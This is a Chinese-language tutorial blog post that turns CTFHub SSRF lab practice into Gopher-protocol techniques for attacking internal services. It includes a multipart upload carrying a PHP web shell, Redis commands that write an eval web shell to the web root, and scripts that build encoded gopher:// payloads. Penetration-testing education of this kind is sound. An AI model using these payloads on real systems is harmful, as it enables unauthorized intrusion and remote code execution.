从CTFHub的SSRF靶场,我总结了5个实战中Gopher协议打内网的避坑技巧
2026/5/14 13:59:13 网站建设 项目流程

实战中Gopher协议利用的5个关键避坑指南

在渗透测试和红队评估中,服务器端请求伪造(SSRF)漏洞的利用往往能打开内网渗透的大门。而Gopher协议作为SSRF中最强大的武器之一,其灵活性和杀伤力让安全研究人员又爱又恨。本文将分享从CTFHub SSRF靶场实战中提炼出的5个关键技巧,帮助你在真实环境中高效利用Gopher协议。

1. 理解Gopher协议的本质

Gopher是一种比HTTP更古老的协议,但正是这种"原始性"赋予了它在SSRF中的独特价值。与HTTP不同,Gopher协议允许我们构造几乎任意的TCP流量,这使得它成为攻击内网服务的理想选择。

Gopher协议的核心特点

  • 基于TCP的简单文本协议
  • 默认使用70端口(但可以指定任意端口)
  • 请求格式:gopher://<host>:<port>/_<TCP数据>

在PHP环境中,当curl支持Gopher协议时,我们可以利用它来构造各种协议的请求,包括:

  • HTTP/HTTPS
  • Redis
  • FastCGI
  • SMTP
  • 以及各种自定义协议

提示:检查目标是否支持Gopher协议的最简单方法是尝试gopher://URL。如果返回错误而非协议不支持,则很可能存在利用可能。

2. POST请求构造的三大陷阱

构造HTTP POST请求是Gopher利用中最常见的场景之一,也是最容易出错的地方。以下是实战中总结的三个关键点:

2.1 换行符的编码差异

HTTP协议要求头部以\r\n(CRLF)作为行结束符,但不同系统对换行符的处理可能不同:

POST /flag.php HTTP/1.1\r\n Host: 127.0.0.1:80\r\n Content-Type: application/x-www-form-urlencoded\r\n Content-Length: 36\r\n \r\n key=8a6d748f4f820709cd9e444991d49dd0

常见错误

  • 只编码\n(LF)而忽略\r(CR)
  • 在不同操作系统上使用不同的换行符

解决方案

# 确保使用正确的CRLF换行 request = "POST /flag.php HTTP/1.1\r\n" request += "Host: 127.0.0.1:80\r\n" request += "..."

2.2 Content-Length的精确计算

Content-Length必须与POST body的实际长度完全一致,否则服务器可能拒绝请求或返回错误响应。

计算技巧

body = "key=8a6d748f4f820709cd9e444991d49dd0" content_length = len(body) headers += f"Content-Length: {content_length}\r\n"

2.3 URL编码的层级问题

Gopher请求通常需要多层URL编码,具体取决于请求的传递方式:

编码层级场景示例
1层编码直接Gopher请求
2层编码通过一次URL参数传递
3层编码通过两次URL参数传递

编码示例

import urllib.parse # 原始请求 request = "POST /flag.php HTTP/1.1\r\nHost: 127.0.0.1\r\n\r\n" # 第一次编码 encoded1 = urllib.parse.quote(request) # 第二次编码 encoded2 = urllib.parse.quote(encoded1)

3. 文件上传的特殊处理

当需要利用Gopher协议上传文件时,传统的参数传递方式会失效,因为文件大小无法通过简单参数伪造。以下是实战验证的有效方法:

3.1 构造完整的多部分表单

POST /flag.php HTTP/1.1 Host: 127.0.0.1:80 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryE3ar268swYQeTYZs Content-Length: 328 ------WebKitFormBoundaryE3ar268swYQeTYZs Content-Disposition: form-data; name="file"; filename="test.php" Content-Type: application/octet-stream <?php echo system($_GET['cmd']); ?> ------WebKitFormBoundaryE3ar268swYQeTYZs--

3.2 确保文件内容不为空

空文件通常会被服务器拒绝,因此务必在文件中包含有效内容,哪怕只是一个空格。

3.3 精确计算Content-Length

多部分表单的Content-Length计算较为复杂,建议:

  1. 先构造完整的请求
  2. 使用工具(如Burp Suite)捕获正确请求
  3. 提取Content-Length值

4. 非HTTP协议的利用技巧

Gopher的强大之处在于它能用于各种协议,以下是两个典型案例:

4.1 攻击Redis服务

redis_cmd = """ flushall set 1 '<?php eval($_GET["cmd"]);?>' config set dir /var/www/html config set dbfilename shell.php save """ # 转换为Redis协议格式 def build_redis_proto(cmd): parts = cmd.split(' ') proto = f"*{len(parts)}\r\n" for part in parts: proto += f"${len(part)}\r\n{part}\r\n" return proto redis_payload = "".join(build_redis_proto(cmd) for cmd in redis_cmd.split('\n') if cmd)

4.2 攻击FastCGI

FastCGI攻击需要构造二进制协议,通常使用现成工具生成payload:

# 示例FastCGI客户端代码片段 class FastCGIClient: def __init__(self, host, port): self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.sock.connect((host, port)) def request(self, params, post_data): # 构造FastCGI请求 # ... return self.sock.recv(4096)

5. 编码与传输的优化策略

5.1 自动化编码工具

手动编码容易出错,建议使用脚本自动化处理:

def gopher_payload(host, port, data, encode_times=2): payload = f"gopher://{host}:{port}/_" encoded = data for _ in range(encode_times): encoded = urllib.parse.quote(encoded) return payload + encoded

5.2 分块传输技巧

对于大型payload,可以考虑分块传输:

POST /upload.php HTTP/1.1 Host: 127.0.0.1 Transfer-Encoding: chunked 5 Hello 6 World 0

5.3 错误排查清单

当Gopher攻击不成功时,检查以下方面:

  1. 换行符是否正确(CRLF)
  2. Content-Length是否精确
  3. URL编码层级是否正确
  4. 目标服务是否真正监听指定端口
  5. 防火墙是否拦截了请求

掌握这些技巧后,Gopher协议将成为你SSRF武器库中最强大的工具之一。记住,在实战中,耐心和细致往往比复杂的技巧更重要。每个环境都有其独特性,灵活调整策略才是成功的关键。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询